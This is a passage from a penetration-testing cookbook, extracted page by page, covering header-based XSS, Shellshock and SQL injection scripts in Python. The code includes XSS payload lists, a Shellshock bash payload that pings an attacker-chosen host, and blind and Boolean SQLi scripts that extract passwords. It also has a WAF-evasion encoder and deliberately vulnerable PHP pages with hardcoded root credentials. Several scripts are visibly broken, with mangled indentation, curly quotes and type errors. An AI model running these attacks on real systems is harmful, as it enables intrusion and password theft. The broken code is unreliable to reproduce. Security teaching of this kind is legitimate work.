may be easily reviewed by a human being:\no.write(\"Payload: \"+ payload +\"\\r\\n\")\no.write(response.text+\"\\r\\n\")\nWe reset the dictionary for the next attack string and then provide the user with an end of \nscript output for clarity:\nd = {}\nprint \"Fuzzing has ended\"\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 84,
            "text": "Chapter 3\n61\nThere's more…\nYou can just keep adding stuff to this recipe. It's designed to be open for multiple types of \ninput and attack. FuzzDB contains lots of different attack strings, so all of these can be \napplied. I encourage you to explore.\nSee also\nYou can test this against the stored XSS PHP pages as I have done.\njQuery checking\nOne of the lesser checked but more serious OWASP Top 10 vulnerabilities is the use of \nlibraries or modules with known vulnerabilities. This can often mean versions of web \nframeworks that are out of date, but it also includes JavaScript libraries that perform specific \nfunctions. In this circumstance, we are checking jQuery; I have checked other libraries with \nthis script but for the purposes of an example, but I will stick to jQuery.\nWe will create a script that identifies whether a site uses jQuery, retrieve it's version  \nnumber, and then compare that against the latest version number to determine whether  \nit is up to date.\nHow to do it…\nThe following is our script:\nimport requests\nimport re\nfrom bs4 import BeautifulSoup\nimport sys\nscripts = []\nif len(sys.argv) != 2:\n  print \"usage: %s url\" % (sys.argv[0])\n  sys.exit(0)\ntarurl = sys.argv[1]\nurl = requests.get(tarurl)\nsoup = BeautifulSoup(url.text)\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 85,
            "text": "Vulnerability Identification\n62\nfor line in soup.find_all('script'):\n  newline = line.get('src')\n  scripts.append(newline)\nfor script in scripts:\n  if \"jquery.min\" in str(script).lower():\n    url = requests.get(script)\n    versions = re.findall(r'\\d[0-9a-zA-Z._:-]+',url.text)\n    if versions[0] == \"2.1.1\" or versions[0] == \"1.12.1\":\n      print \"Up to date\"\n    else:\n      print \"Out of date\"\n      print \"Version detected: \"+versions[0]\nThe following is an example of the output produced when using this script:\nhttp://candycrate.com\nOut of Date\nVersion detected: 1.4.2\nHow it works…\nAs ever, we import our libraries and create an empty library to house our future  \nidentified scripts:\nscripts = []\nFor this script, we have created a simple usage guide that detects whether a URL has been \nprovided. It reads the number of sys.argv, and if it is not equal to 2, including the script \nitself, then it prints out a guide:\nif len(sys.argv) != 2:\n  print \"usage: %s url\" % (sys.argv[0])\n  sys.exit(0)\nWe take our target URL from the sys.argv list and open it:\ntarurl = sys.argv[1]\nurl = requests.get(tarurl)\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 86,
            "text": "Chapter 3\n63\nAs with before, we use beautiful soup to take the page apart; however, this time we  \nare identifying scripts and pulling their src values in order to obtain the URLs of the js \nlibraries being that are used. This collects together all the potential libraries that could be \njQuery. Bear in mind that if you extend the usage to include different types of library, this list \nof URLs can be very useful:\nfor line in soup.find_all('script'):\n  newline = line.get('src')\n  scripts.append(newline)\nFor each identified script, we then check to see if there is any mention of jquery.min, which \nwould indicate the core jQuery file:\nfor script in scripts:\n  if \"jquery.min\" in str(script).lower():\nWe then use regex to identify the version number. In jQuery files, this will be the first thing \nmentioned that fits the given regex. The regex looks for 0-9 or a-z followed by a period that  \nis repeated infinite amount of times. This is the format that the majority of version numbers  \ntake and jQuery is no different:\nversions = re.findall(r'\\d[0-9a-zA-Z._:-]+',url.text)\nThe re.findall method finds all strings that match this regex; however, as mentioned,  \nwe only want the first one. We identify it with comments[0]. We check to see whether this is \nequal to the hardcoded values of the current jQuery version, at time of writing. These will need \nto be updated manually. If the value is equal to either of the current versions, the script will \nstate that it is up to date, alternatively if it is not equal it will print the detected version along \nwith an out of date message:\nif versions[0] == \"2.1.1\" or versions[0] == \"1.12.1\":\n      print \"Up to date\"\n    else:\n      print \"Out of date\"\n      print \"Version detected: \"+versions[0]\nThere's more…\nThis recipe is obviously extendable and can be applied to any JavaScript library by simply \nadding to the detection strings and versions.\nIf the string was to be extended to include other libraries, such as insecure Django or flask \nlibraries, the script would have to be altered to handle the alternate way that they are stated, \nas they are obviously not declared as JavaScript libraries.\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 87,
            "text": "Vulnerability Identification\n64\nHeader-based Cross-site scripting\nUntil now, we have focused on sending payloads through URLs and parameters, the two \nobvious methods of performing attacks. However, there are numerous rich and fertile  \nsources of vulnerabilities that often lay untouched. One of these will be covered in depth in \nChapter 6, Image Analysis and Manipulation, for which we can give an intro now. Logs are \noften kept of specific headers of users that are accessing web pages. It can be a worthwhile \nactivity performing checks against these logs by performing XSS attacks in headers.\nWe will be creating a script that submits XSS attack strings to all available headers and cycles \nthrough several possible XSS attacks. We will provide a short list of payloads, grab all the \nheaders, and submit them sequentially.\nGetting ready\nIdentify the URL that you wish to test. See the end of this example for a PHP web page that  \nthe script can be used against in order to test the validity of the scripts.\nHow to do it…\nOnce you've identified your target web page, pass it to the script as a command line argument. \nYour script should be the same as shown in the following script:\nimport requests\nimport sys\nurl = sys.argv[1]\npayloads = ['<script>alert(1);</script>',  \n  '<scrscriptipt>alert(1);</scrscriptipt>', '<BODY   \n  ONLOAD=alert(1)>']\nheaders ={}\nr = requests.head(url)\nfor payload in payloads:\n  for header in r.headers:\n    headers[header] = payload\n  req = requests.post(url, headers=headers)\nThe script won't provide any output as it targets the admin side of functionality. However, you \ncould set it to provide an output on each loop easily with:\nPrint \"Submitted \"+payload\nThis would return the following every time:\nSubmitted <script>alert(1);</script>\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 88,
            "text": "Chapter 3\n65\nHow it works…\nWe import the libraries that we require for this script and take input in the form of a  \nsys.argv function. You should be fairly en fait with this at this point.\nOnce again, we can declare our payloads as a list, rather than a dictionary, as we are going to \npair them with values provided by the web page. We also create an empty dictionary to house \nour future attack pairings:\npayloads = ['<script>alert(1);</script>',  \n  '<scrscriptipt>alert(1);</scrscriptipt>', '<BODY  \n  ONLOAD=alert(1)>']\nheaders ={}\nWe then make a HEAD request to web page to return only the headers from the page we are \nattacking. It's possible, though unlikely, that HEAD requests may be disabled; however, if it is, \nwe can replace this with a standard GET request:\nr = requests.head(url)\nWe loop through the payloads that we set up earlier and the headers we pulled from the \npreceding HEAD request:\nfor payload in payloads:\n  for header in r.headers:\nFor each payload and header, we add them to the empty dictionary that we set up earlier,  \nas pairs:\nheaders[header] = payload\nFor each iteration of the payloads, we then submit all the headers with that payload as we \nobviously can't submit multiple of each header:\nreq = requests.post(url, headers=headers)\nBecause the active part of the attack occurs on the client side of the admin, either an admin \naccount needs to be utilized to check manually or an admin needs to be contacted to see if \nthe attack is activated anywhere in the logging chain.\nSee also\nThe following is a setup than can be used to test the preceding script. This is very similar to \nthe earlier script for XSS checking. The difference here is that the conventional XSS methods \nwill fail due to the strip_tags function. It demonstrates the situations where unconventional \nmethods are required to perform attacks. Obviously, returning the user-agent in a comment is \ncontrived, though this is something that is frequent in the wild. They need to be saved as the \nfilenames provided to work and in conjunction with a MySQL database to store the comments.\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 89,
            "text": "Vulnerability Identification\n66\nThe following is the first interface page named guestbook.php:\n<?php\n$my_rand = rand();\nif (!isset($_COOKIE['sessionid4'])){\n  setcookie(\"sessionid4\", $my_rand, \"10000000000\", \"/xss/vhard/\");\n}\n?>\n<form id=\"contact_form\" action='addguestbook.php' method=\"post\">\n  <label>Name: <input class=\"textfield\" name=\"name\" type=\"text\"  \n  value=\"\" /></label>\n  <label>Comment: <input class=\"textfield\" name=\"comment\"  \n  type=\"text\" value=\"\" /></label>\n  <input type=\"submit\" name=\"Submit\" value=\"Submit\"/> \n</form>\n<strong><a href=\"viewguestbook.php\">View Guestbook</a></strong>\nThe following script is addguestbook.php, which places your comment in the database:\n<?php\n$my_rand = rand();\nif (!isset($_COOKIE['sessionid4'])){\n  setcookie(\"sessionid4\", $my_rand, \"10000000000\", \"/xss/vhard/\");\n}\n$host='localhost';\n$username='root';\n$password='password';\n$db_name=\"xss\";\n$tbl_name=\"guestbook\";\n$cookie = $_COOKIE['sessionid4'];\n$unsanname = $_REQUEST['name'];\n$unsan = $_REQUEST['comment'];\n$comment = addslashes($unsan);\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 90,
            "text": "Chapter 3\n67\n$name = addslashes($unsanname);\n#echo \"$comment\";\nmysql_connect($host, $username, $password) or die(\"Cannot contact  \n  server\");\nmysql_select_db($db_name)or die(\"Cannot find DB\");\n$sql=\"INSERT INTO $tbl_name VALUES('0','$name', '$comment',  \n  '$cookie')\";\n$result=mysql_query($sql);\nif($result){\n  echo \"Successful\";\n  echo \"<BR>\";\necho \"<a href='viewguestbook.php'>View Guestbook</a>\";\n}\nelse{\n  echo \"ERROR\";\n}\nmysql_close();\n?>\nThe final script is viewguestbook.php, which draws the comments from the database:\n<?php\n$my_rand = rand();\nif (!isset($_COOKIE['sessionid4'])){\n  setcookie(\"sessionid4\", $my_rand, \"10000000000\", \"/xss/vhard/\");\n}\n$host='localhost';\n$username='root';\n$password='password';\n$db_name=\"xss\";\n$tbl_name=\"guestbook\";\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 91,
            "text": "Vulnerability Identification\n68\n$cookie = $_COOKIE['sessionid4'];\n$name = $_REQUEST['name'];\n$comment = $_REQUEST['comment'];\nmysql_connect($host, $username, $password) or die(\"Cannot contact  \n  server\");\nmysql_select_db($db_name)or die(\"Cannot find DB\");\n$sql=\"SELECT * FROM guestbook WHERE session = '$cookie'\";\n$result=mysql_query($sql);\necho \"<h1>Comments</h1>\\r\\n\";\nwhile($field = mysql_fetch_assoc($result)) {\n  $trimmedname = strip_tags($field['name']);\n  $trimmedcomment = strip_tags($field['comment']);\n  echo \"<a>Name: \" . $trimmedname . \"\\t\";\n  echo \"Comment: \" . $trimmedcomment . \"</a><BR>\\r\\n\";\n  }\necho \"<!--\" . $_SERVER['HTTP_USER_AGENT'] . \"-->\";\nmysql_close();\n?>\nShellshock checking\nMoving away from the standard style of attacks against web servers, we're going to quickly \nlook at Shellshock, a vulnerability that allowed attackers to make shell commands through \nspecific headers. This vulnerability reared its head in 2014 and gained momentum quickly as \none of the biggest vulnerabilities of the year. While it has now been mostly fixed, it's a good \nexample of how web servers can be manipulated to perform more complex attacks and are \nlikely to be a frequent target in common transfer files (CTFs) for years to come.\nWe will create a script that pulls down the headers of a page, identifies whether the \nvulnerable headers are present, and submits an example payload to that header.  \nThis script relies on external infrastructure supporting this attack to collect compromised \ndevice call-outs.\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 92,
            "text": "Chapter 3\n69\nGetting ready\nIdentify the URL you wish to test. Once you've identified your target web page, pass it to the \nscript as a sys.argv:\nHow to do it…\nYour script should be the same as the following script:\nimport requests\nimport sys\nurl = sys.argv[1]\npayload = \"() { :; }; /bin/bash -c 'ping –c 1 –p pwnt <url/ip>'\"\nheaders ={}\nr = requests.head(url)\nfor header in r.headers:\n  if header == \"referer\" or header == \"User-Agent\": \n    headers[header] = payload\nreq = requests.post(url, headers=headers)\nThe script won't provide output as it targets the admin side of functionality. However, you \ncould set it to provide an output on each loop easily with:\nPrint \"Submitted \"+payload\nThis would return the following every time:\nSubmitted <script>alert(1);</script>\nHow it works…\nWe import the libraries that we require for this script and take input in the form of a  \nsys.argv function. This is getting a bit repetitive, but it gets the job done.\nWe declare our payload as a singular entity. If you have multiple actions that you wish to  \nperform upon the server, you can make this a payload, similar to the preceding. We also \ncreate an empty dictionary for our header-payload combinations and make a HEAD request  \nto the target URL:\npayload = \"() { :; }; /bin/bash -c 'ping –c 1 –p pwnt <url/ip>'\"\nheaders ={}\nr = requests.head(url)\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 93,
            "text": "Vulnerability Identification\n70\nThe payload set here will ping whichever server you set at the <url/ip> space. It will send \na message in that ping, which is pwnt. This allows you to identify that the server has actually \nbeen compromised and it's not just a random server.\nWe then go through each header we pulled in the initial HEAD request and check to see  \nif any are the referrer or User-Agent headers, which are the headers vulnerable to  \nthe Shellshock attack. If those headers are present, we send our attack string against  \nthat header:\nfor header in r.headers:\n  if header == \"referer\" or header == \"User-Agent\": \n    headers[header] = payload\nOnce we've established if our headers are present and having set the attack string against \nthem, we launch our request. If successful, the message should appear in our logs:\nreq = requests.post(url, headers=headers)\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 94,
            "text": "71\n4\nSQL Injection\nIn this chapter, we will cover the following topics:\nf\nf\nChecking jitter\nf\nf\nIdentifying URL-based SQLi\nf\nf\nExploiting Boolean SQLi\nf\nf\nExploiting Blind SQLi\nf\nf\nEncoding payloads\nIntroduction\nSQL Injection is the loud and noisy attack that beats you over the head in every tech-related \nmedia provider you see. It is one of the most common and most devastating attacks of recent \nhistory and continues to thrive in new installations. This chapter focuses on both performing \nand supporting SQL Injection attacks. We will create scripts that encode attack strings, \nperform attacks, and time normal actions to normalize attack times.\nChecking jitter\nThe only difficult thing about performing time-based SQL Injections is that plague of gamers \neverywhere, lag. A human can easily sit down and account for lag mentally, taking a string of \nreturned values, and sensibly going over the output and working out that cgris is chris. For a \nmachine, this is much harder; therefore, we should attempt to reduce delay.\nWe will be creating a script that makes multiple requests to a server, records the response \ntime, and returns an average time. This can then be used to calculate fluctuations in \nresponses in time-based attacks known as jitter.\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 95,
            "text": "SQL Injection\n72\nHow to do it…\nIdentify the URLs you wish to attack and provide to the script through a sys.argv variable:\nimport requests\nimport sys\nurl = sys.argv[1]\nvalues = []\nfor i in xrange(100): \n  r = requests.get(url)\n  values.append(int(r.elapsed.total_seconds()))\naverage = sum(values) / float(len(values))\nprint “Average response time for “+url+” is “+str(average)\nThe following screenshot is an example of the output produced when using this script:\nHow it works…\nWe import the libraries we require for this script, as with every other script we've done in  \nthis book so far. We set the counter I to zero and create an empty list for the times we are \nabout to generate:\nwhile i < 100:\n  r = requests.get(url)\n  values.append(int(r.elapsed.total_seconds()))\n  i = i + 1\nUsing the counter I, we run 100 requests to the target URL and append the response time of \nthe request to list we created earlier. R.elapsed is a timedelta object, not an integer, and \ntherefore must be called with .total_seconds() in order to get a usable number for our \nlater average. We then add one to the counter to account for this loop and so that the script \nends appropriately:\naverage = sum(values) / float(len(values))\nprint “Average response time for “+url+” is “+average\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 96,
            "text": "Chapter 4\n73\nOnce the loop is complete, we calculate the average of the 100 requests by calculating the \ntotal values of the list with sum and dividing it by the number of values in the list with len.\nWe then return a basic output for ease of understanding.\nThere's more…\nThis is a very basic way of performing this action and only really performs the function  \nas a standalone script to prove a point. To be performed as part of another script,  \nwe would do the following:\nimport requests\nimport sys\ninput = sys.argv[1]\ndef averagetimer(url):\n  i = 0\n  values = []\n  while i < 100:\n    r = requests.get(url)\n    values.append(int(r.elapsed.total_seconds()))\n    i = i + 1\n  average = sum(values) / float(len(values))\n  return average\naveragetimer(input)\nIdentifying URL-based SQLi\nSo, we've looked at fuzzing before for XSS and error messages. This time, we're doing \nsomething similar but with SQL Injection, instead. The crux of any SQLi starts with a single \nquotation mark, tick, or apostrophe, depending on your personal choice of word. We throw  \na tick into the URL targeted and check the response to see what version of SQL is running  \nif successful.\nWe will create a script that sends the basic SQL Injection string to our targeted URL, record the \noutput, and compare to known phrases in error messages to identify the underlying system.\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 97,
            "text": "SQL Injection\n74\nHow to do it…\nThe script we will be using is as follows:\nimport requests\nurl = “http://127.0.0.1/SQL/sqli-labs-master/Less-1/index.php?id=”\ninitial = “'”\nprint “Testing “+ url\nfirst = requests.post(url+initial)\nif “mysql” in first.text.lower(): \n  print “Injectable MySQL detected”\nelif “native client” in first.text.lower():\n  print “Injectable MSSQL detected”\nelif “syntax error” in first.text.lower():\n  print “Injectable PostGRES detected”\nelif “ORA” in first.text.lower():\n  print “Injectable Oracle detected”\nelse:\n  print “Not Injectable J J”\nThe following is an example of the output produced when using this script:\nTesting http://127.0.0.1/SQL/sqli-labs-master/Less-1/index.php?id=\nInjectable MySQL detected\nHow it works…\nWe import our libraries and set our URL manually. We can set it as a sys.argv variable if \nneeds be; however, I have hardcoded it here to show the expected format. We set the initial \ninjection string as a single quotation mark and print that the test is starting:\nurl = “http://127.0.0.1/SQL/sqli-labs-master/Less-1/index.php?id=”\ninitial = “'”\nprint “Testing “+ url\nWe make our first request as our provided URL and the apostrophe:\nfirst = requests.post(url+initial)\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 98,
            "text": "Chapter 4\n75\nThe next few lines are our detection methods to identify what the underlying database is.  \nThe MySQL standard error is:\nYou have an error in your SQL syntax; check the manual\nthat corresponds to your MySQL server version for the\nright syntax to use near '\\'' at line 1\nCorrespondingly, our detection attempt reads in the text of response and searches for the \nMySQL string and, if so, prints out that the attempt was successful:\nif “mysql” in first.text.lower(): \n  print “Injectable MySQL detected”\nFor MS SQL, an example error message is:\nMicrosoft SQL Native Client error '80040e14'\nUnclosed quotation mark after the character string\nSince there are multiple potential error messages, we need to identify one constant that \noccurs across as many of them as possible. For this, I have chosen native client,  \nthough Microsoft SQL could also be used:\nelif “native client” in first.text.lower():\n  print “Injectable MSSQL detected”\nThe standard error message for PostgreSQL is:\nQuery failed: ERROR: syntax error at or near\n“'” at character 56 in /www/site/test.php on line 121.\nInterestingly, for what is always a syntax error in SQL, the only solution that regularly uses  \nthe syntax word is PostGRES, which allows us to use that as the distinguishing word:\nelif “syntax error” in first.text.lower():\n  print “Injectable PostGRES detected”\nThe last system we check is Oracle. An example error message for Oracle is:\nORA-00933: SQL command not properly ended\nORA is the prefix for the majority of Oracle errors and therefore can be used as the identifier \nhere. There are only a few fringe cases where a non-ORA error message would apply to a \ntrailing tick:\nelif “ORA” in first.text.lower():\n  print “Injectable Oracle detected”\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 99,
            "text": "SQL Injection\n76\nIn the event in which none of these apply, we have a final else statement that declares the \nparameter is not injectable and that an error was made in picking this parameter.\nAn example output is shown in the following screenshot:\nThere's more…\nTying this script in with the spider found in Chapter 1, Gathering Open Source Intelligence, \nwould make for a quick efficient way of identifying injectable URLs across a web page. A \nmethod of identifying parameters to inject would be necessary, which can be achieved \nthrough simple regex manipulation in most cases.\nA set of useful SQLi test pages were made by Audi-1 and can be found at https://github.\ncom/Audi-1/sqli-labs.\nExploiting Boolean SQLi\nThere are times when all you can get from a page is a yes or no. It's heartbreaking until you \nrealize that that's the SQL equivalent of saying I LOVE YOU. All SQLi can be broken down into \nyes or no questions, depending on how patient you are.\nWe will create a script that takes a yes value and a URL and returns results based on a \npredefined attack string. I have provided an example attack string but this will change, \ndepending on the system you are testing.\nHow to do it…\nThe following script is how yours should look:\nimport requests\nimport sys\nyes = sys.argv[1]\ni = 1\nasciivalue = 1\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 100,
            "text": "Chapter 4\n77\nanswer = []\nprint “Kicking off the attempt”\npayload = {'injection': '\\'AND char_length(password) =  \n  '+str(i)+';#', 'Submit': 'submit'}\nwhile True:\n  req = requests.post('<target url>' data=payload)\n  lengthtest = req.text\n  if yes in lengthtest:\n    length = i\n    break\n  else:\n    i = i+1\nfor x in range(1, length):\n  while asciivalue < 126:\npayload = {'injection': '\\'AND (substr(password, '+str(x)+', 1)) =  \n      '+ chr(asciivalue)+';#', 'Submit': 'submit'}\n      req = requests.post('<target url>', data=payload)\n      if yes in req.text:\n    answer.append(chr(asciivalue))\nbreak\n  else:\n      asciivalue = asciivalue + 1\n      pass\nasciivalue = 0\nprint “Recovered String: “+ ''.join(answer)\nHow it works…\nFirstly, the user must identify a string that only occurs when the SQLi is successful. \nAlternatively, the script may be altered to respond to the absence of proof of a failed SQLi.  \nWe provide this string as a sys.argv variable. We also create the two iterators that we will \nuse in this script and have set them to 1, as MySQL starts counting from 1 instead of 0 like \nthe failed system it is. We also create an empty list for our future answer and instruct the user \nthat the script is starting:\nyes = sys.argv[1]\ni = 1\nasciivalue = 1\nanswer = []\nprint “Kicking off the attempt”\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 101,
            "text": "SQL Injection\n78\nOur payload here basically requests the length of the password we are attempting to return \nand compares it to a value that will be iterated:\npayload = {'injection': '\\'AND char_length(password) =  \n  '+str(i)+';#', 'Submit': 'submit'}\nWe then repeat the next loop forever as we have no idea how long the password is. We submit \nthe payload to the target URL in a POST request:\nwhile True:\n  req = requests.post('<target url>' data=payload)\nEach time we check to see if the yes value we set originally is present in the response text \nand, if so, we end the while loop setting the current value of i as the parameter length.  \nThe break command is the part that ends the while loop:\nlengthtest = req.text\n  if yes in lengthtest:\n    length = i\n    break\nIf we don't detect the yes value, we add 1 to i and continue the loop:\nArd.\nelse:\n    i = i+1\nUsing the identified length of the target string, we iterate through each character and, using \nthe asciivalue, each possible value of that character. For each value, we submit it to the \ntarget URL. Because the ascii table only runs up to 127, we cap the loop to run until the \nasciivalue has reached 126. If it reaches 127, something has gone wrong:\nfor x in range(1, length):\n  while asciivalue < 126:\npayload = {'injection': '\\'AND (substr(password, '+str(x)+', 1)) =  \n    '+ chr(asciivalue)+';#', 'Submit': 'submit'}\n    req = requests.post('<target url>', data=payload)\nWe check to see if our yes string is present in the response and, if so, break to go onto the \nnext character. We append our successful message to our answer string in character form, \nconverting it with the chr command:\nif yes in req.text:\n    answer.append(chr(asciivalue))\nbreak\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 102,
            "text": "Chapter 4\n79\nIf the yes value is not present, we add to asciivalue to move on to the next potential \ncharacter for that position and pass:\nelse:\n      asciivalue = asciivalue + 1\n      pass\nFinally, we reset asciivalue for each loop, and then when the loop hits the length of the \nstring, we finish, printing the whole recovered string:\nasciivalue = 1\nprint “Recovered String: “+ ''.join(answer)\nThere's more…\nPotentially, this script could be altered to handle iterating through tables and recovering \nmultiple values through better crafted SQL Injection strings. Ultimately, this provides a base \nplate, as with the later Blind SQL Injection script, for developing more complicated and \nimpressive scripts to handle challenging tasks. See the Exploiting Blind SQL Injection script \nfor an advanced implementation of these concepts.\nExploiting Blind SQL Injection\nSometimes, life hands you lemons; blind SQL Injection points are some of those lemons. \nWhen you're reasonably sure you've found an SQL Injection vulnerability but there are \nno errors and you can't get it to return your data, in these situations you can use timing \ncommands within SQL to cause the page to pause in returning a response and then use  \nthat timing to make judgments about the database and its data.\nWe will create a script that makes requests to the server and returns differently timed \nresponses, depending on the characters it's requesting. It will then read those times and \nreassemble strings.\nHow to do it…\nThe script is as follows:\nimport requests\ntimes = []\nprint “Kicking off the attempt”\ncookies = {'cookie name': 'Cookie value'}\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 103,
            "text": "SQL Injection\n80\npayload = {'injection': '\\'or sleep char_length(password);#',  \n  'Submit': 'submit'}\nreq = requests.post('<target url>' data=payload, cookies=cookies)\nfirstresponsetime = str(req.elapsed.total_seconds)\nfor x in range(1, firstresponsetime):\n  payload = {'injection': '\\'or sleep(ord(substr(password,  \n  '+str(x)+', 1)));#', 'Submit': 'submit'}\n  req = requests.post('<target url>', data=payload,  \n  cookies=cookies)\n  responsetime = req.elapsed.total_seconds\n  a = chr(responsetime)\n    times.append(a)\n    answer = ''.join(times)\nprint “Recovered String: “+ answer\nHow it works…\nAs ever, we import the required libraries and declare the lists that we need to fill later on.  \nWe also have a function here that states that the script has indeed started. With some \ntime-based functions, the user can be left waiting a while. In this script, I have also included \ncookies using the request library. For this sort of attack , it is likely that authentication  \nis required:\ntimes = []\nprint “Kicking off the attempt”\ncookies = {'cookie name': 'Cookie value'}\nWe set our payload up in a dictionary along with a submit button. The attack string is simple \nenough to understand with some explanation. The initial tick has to be escaped to be treated \nas text within the dictionary. That tick breaks the SQL command initially and allows us to \ninput our own SQL commands. Next, we say that in the event of the first command failing, \nperform the following command with OR. We then tell the server to sleep for one second for \nevery character in the first row in the password column. Finally, we close the statement with a \nsemicolon and comment out any trailing characters with a hash (or pound if you're American \nand/or wrong):\npayload = {'injection': '\\'or sleep char_length(password);#',  \n  'Submit': 'submit'}\nWe then set length of time the server took to respond as the firstreponsetime parameter. \nWe will use this to understand how many characters we need to brute-force through this \nmethod in the following chain:\nfirstresponsetime = str(req.elapsed).total_seconds\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 104,
            "text": "Chapter 4\n81\nWe create a loop that will set x to be all numbers from 1 to the length of the string identified \nand perform an action for each one. We start from 1 here because MySQL starts counting \nfrom 1 rather than zero, like Python:\nfor x in range(1, firstresponsetime):\nWe make a similar payload as before, but this time we are saying sleep for the ascii value of \nX character of the password in the password column, row one. So, if the first character was a \nlower case a, then the corresponding ascii value is 97, and therefore the system would sleep \nfor 97 seconds. If it was a lower case b, it would sleep for 98 seconds, and so on:\npayload = {'injection': '\\'or sleep(ord(substr(password,  \n  '+str(x)+', 1)));#', 'Submit': 'submit'}\nWe submit our data each time for each character place in the string:\nreq = requests.post('<target url>', data=payload, cookies=cookies)\nWe take the response time from each request to record how long the server sleeps and then \nconvert that time back from an ascii value into a letter:\nresponsetime = req.elapsed.total_seconds\n  a = chr(responsetime)\nFor each iteration, we print out the password as it is currently known and then eventually print \nout the full password:\nanswer = ''.join(times)\nprint “Recovered String: “+ answer\nThere's more…\nThis script provides a framework that can be adapted to many different scenarios. Wechall, \nthe web app challenge website, sets a time-limited, Blind SQLi challenge that has to be \ncompleted in a very short time period. The following is our original script, which has been \nadapted to this environment. As you can see, I've had to account for smaller time differences \nin differing values and server lag, and also incorporated a checking method to reset the \ntesting value each time and submit it automatically:\nimport subprocess\nimport requests\ndef round_down(num, divisor):\n    return num - (num%divisor)\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 105,
            "text": "SQL Injection\n82\nsubprocess.Popen([“modprobe pcspkr”], shell=True)\nsubprocess.Popen([“beep”], shell=True)\nvalues = {'0': '0', '25': '1', '50': '2', '75': '3', '100': '4',  \n  '125': '5', '150': '6', '175': '7', '200': '8', '225': '9',  \n  '250': 'A', '275': 'B', '300': 'C', '325': 'D', '350': 'E',  \n  '375': 'F'}\ntimes = []\nanswer = “This is the first time”\ncookies = {'wc': 'cookie'}\nsetup =  \n  requests.get  \n  ('http://www.wechall.net/challenge/blind_lighter/index  \n  .php?mo=WeChall&me=Sidebar2&rightpanel=0', cookies=cookies)\ny=0\naccum=0\nwhile 1:\n  reset =  \n  requests.get('http://www.wechall.net/challenge/blind_lighter/  \n  index.php?reset=me', cookies=cookies)\n  for line in reset.text.splitlines():\n    if “last hash” in line:\n      print “the old hash was:”+line.split(“  \n      “)[20].strip(“.</li>”)\n      print “the guessed hash:”+answer\n      print “Attempts reset \\n \\n”\n    for x in range(1, 33):\n      payload = {'injection': '\\'or IF (ord(substr(password,  \n      '+str(x)+', 1)) BETWEEN 48 AND  \n      57,sleep((ord(substr(password, '+str(x)+', 1))-  \n      48)/4),sleep((ord(substr(password, '+str(x)+', 1))-  \n      55)/4));#', 'inject': 'Inject'}\n      req =  \n      requests.post  \n      ('http://www.wechall.net/challenge/blind_lighter/  \n      index.php?ajax=1', data=payload, cookies=cookies)\n      responsetime =  \n      str(req.elapsed)[5]+str(req.elapsed)[6]+str(req.elapsed)[8]+  \n      str(req.elapsed)[9]\n      accum = accum + int(responsetime)\n      benchmark = int(15)\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 106,
            "text": "Chapter 4\n83\n      benchmarked = int(responsetime) - benchmark\n      rounded = str(round_down(benchmarked, 25))\n      if rounded in values:\n        a = str(values[rounded])\n        times.append(a)\n        answer = ''.join(times)\n      else:\n        print rounded\n        rounded = str(“375”)\n        a = str(values[rounded])\n        times.append(a)\n        answer = ''.join(times)\n  submission = {'thehash': str(answer), 'mybutton': 'Enter'}\n  submit =  \n  requests.post('http://www.wechall.net/challenge/blind_lighter/  \n  index.php', data=submission, cookies=cookies)\n  print “Attempt: “+str(y)\n  print “Time taken: “+str(accum)\n  y += 1\n  for line in submit.text.splitlines():\n    if “slow” in line:\n      print line.strip(“<li>”)\n    elif “wrong” in line:\n      print line.strip(“<li>”)\n  if “wrong” not in submit.text:\n    print “possible success!”\n    #subprocess.Popen([“beep”], shell=True)\nEncoding payloads\nOne method of halting SQL Injection is filtering through either server side text manipulation or \nWeb App Firewalls (WAFs). These systems target specific phrases commonly associated with \nattacks such as SELECT, AND, OR, and spaces. These can be easily evaded by replacing these \nvalues with less obvious ones, thus highlighting the issue with blacklists in general.\nWe will create a script that takes attack strings, looks for potentially escaped strings, and \nprovides alternative attack strings.\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 107,
            "text": "SQL Injection\n84\nHow to do it…\nThe following is our script:\nsubs = []\nvalues = {“ “: “%50”, “SELECT”: “HAVING”, “AND”: “&&”, “OR”: “||”}\noriginalstring = “' UNION SELECT * FROM Users WHERE username =  \n  'admin' OR 1=1 AND username = 'admin';#”\nsecondoriginalstring = originalstring\nfor key, value in values.iteritems():\n  if key in originalstring:\n    newstring = originalstring.replace(key, value)\n    subs.append(newstring)\n  if key in secondoriginalstring:\n    secondoriginalstring = secondoriginalstring.replace(key,  \n    value)\n    subs.append(secondoriginalstring)\nsubset = set(subs)\nfor line in subs:\n  print line\nThe following screenshot is an example of the output produced when using this script:\nHow it works…\nThis script requires no libraries! How shocking! We create an empty list for the values that \nwe are about to create and dictionary of the substitute values that we intend to add. I've put \nfive example values in. Spaces and %20 are commonly escaped by WAFs as URLs tend to not \ninclude spaces unless something inappropriate is being requested. \nwww.it-ebooks.info\n"
        },
        {
            "page_number": 108,
